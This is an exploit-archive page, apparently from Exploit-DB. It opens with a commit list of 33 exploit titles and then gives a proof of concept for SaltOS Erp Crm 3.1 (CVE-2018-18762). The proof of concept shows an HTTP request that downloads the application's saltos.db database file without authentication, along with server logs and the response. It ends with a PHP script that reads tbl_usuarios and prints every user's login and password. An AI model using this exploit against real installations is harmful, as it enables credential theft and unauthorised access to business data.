15b77b5965
33 changes to exploits/shellcodes Navicat 12.0.29 - 'SSH' Denial of Service (PoC) AlienIP 2.41 - Denial of Service (PoC) Local Server 1.0.9 - Denial of Service (PoC) systemd - reexec State Injection systemd - chown_one() can Dereference Symlinks ASRock Drivers - Privilege Escalation Modbus Slave 7.0.0 - Denial of Service (PoC) School Equipment Monitoring System 1.0 - 'login' SQL Injection Modbus Slave PLC 7 - '.msw' Buffer Overflow (PoC) Paramiko 2.4.1 - Authentication Bypass Open Faculty Evaluation System 5.6 - 'batch_name' SQL Injection Grapixel New Media 2 - 'pageref' SQL Injection Library Management System 1.0 - 'frmListBooks' SQL Injection Open Faculty Evaluation System 7 - 'batch_name' SQL Injection Card Payment 1.0 - Cross-Site Request Forgery (Update Admin) MTGAS MOGG Web Simulator Script - SQL Injection Aplaya Beach Resort Online Reservation System 1.0 - SQL Injection / Cross-Site Request Forgery Curriculum Evaluation System 1.0 - SQL Injection Bakeshop Inventory System in VB.Net and MS Access Database 1.0 - SQL Injection Point of Sales (POS) in VB.Net MySQL Database 1.0 - SQL Injection School Event Management System 1.0 - SQL Injection School Event Management System 1.0 - Arbitrary File Upload School Event Management System 1.0 - Cross-Site Request Forgery (Update Admin) School Attendance Monitoring System 1.0 - Cross-Site Request Forgery (Update Admin) School Attendance Monitoring System 1.0 - Arbitrary File Upload School Attendance Monitoring System 1.0 - SQL Injection PayPal-Credit Card-Debit Card Payment 1.0 - SQL Injection RhinOS CMS 3.x - Arbitrary File Download E-Negosyo System 1.0 - SQL Injection SaltOS Erp Crm 3.1 r8126 - SQL Injection SaltOS Erp Crm 3.1 r8126 - SQL Injection (2) SaltOS Erp Crm 3.1 r8126 - Database File Download K-iwi Framework 1775 - SQL Injection
47 lines
No EOL
1.5 KiB
Text
47 lines
No EOL
1.5 KiB
Text
# Exploit Title: SaltOS Erp, Crm 3.1 r8126 - Database File Download
|
|
# Dork: N/A
|
|
# Date: 2018-10-29
|
|
# Exploit Author: Ihsan Sencan
|
|
# Vendor Homepage: http://www.saltos.org/
|
|
# Software Link: http://download.saltos.org/?app=saltos&format=xul&arch=win32
|
|
# Version: 3.1 r0 / 3.x
|
|
# Category: Webapps
|
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
|
# CVE: CVE-2018-18762
|
|
|
|
# POC:
|
|
# 1)
|
|
# http://localhost/[PATH]/files/saltos.db
|
|
#
|
|
# [Mon Oct 29 00:05:49 2018] 127.0.0.1:2853 [200]: /index.php?action=logout
|
|
# [Mon Oct 29 00:05:49 2018] 127.0.0.1:2856 [200]: /
|
|
# [Mon Oct 29 00:05:51 2018] 127.0.0.1:2857 [200]: /files/saltos.db
|
|
#
|
|
GET /files/saltos.db HTTP/1.1
|
|
Host: localhost:57187
|
|
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:50.0) Gecko/20100101 Firefox/50.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: PHPSESSID=a06furpg1gf54hqf573l886qs3; lang=es_ES; __lang__=1543317075; style=blue; __style__=1543317075; iconset=silk; __iconset__=1543317075
|
|
DNT: 1
|
|
Connection: keep-alive
|
|
Upgrade-Insecure-Requests: 1
|
|
HTTP/1.1 200 OK
|
|
Host: localhost:57187
|
|
Connection: close
|
|
Content-Type: application/octet-stream
|
|
Content-Length: 8462336
|
|
|
|
<?php
|
|
|
|
$baglan = new SQLite3('saltos.db');
|
|
|
|
$sonuc = $baglan->query('SELECT * FROM tbl_usuarios');
|
|
|
|
while ($p = $sonuc->fetchArray()) {?>
|
|
|
|
<h4><?php echo $p['login'];?></h4>
|
|
<h4><?php echo $p['password'];?></h4>
|
|
|
|
<?php } ?> |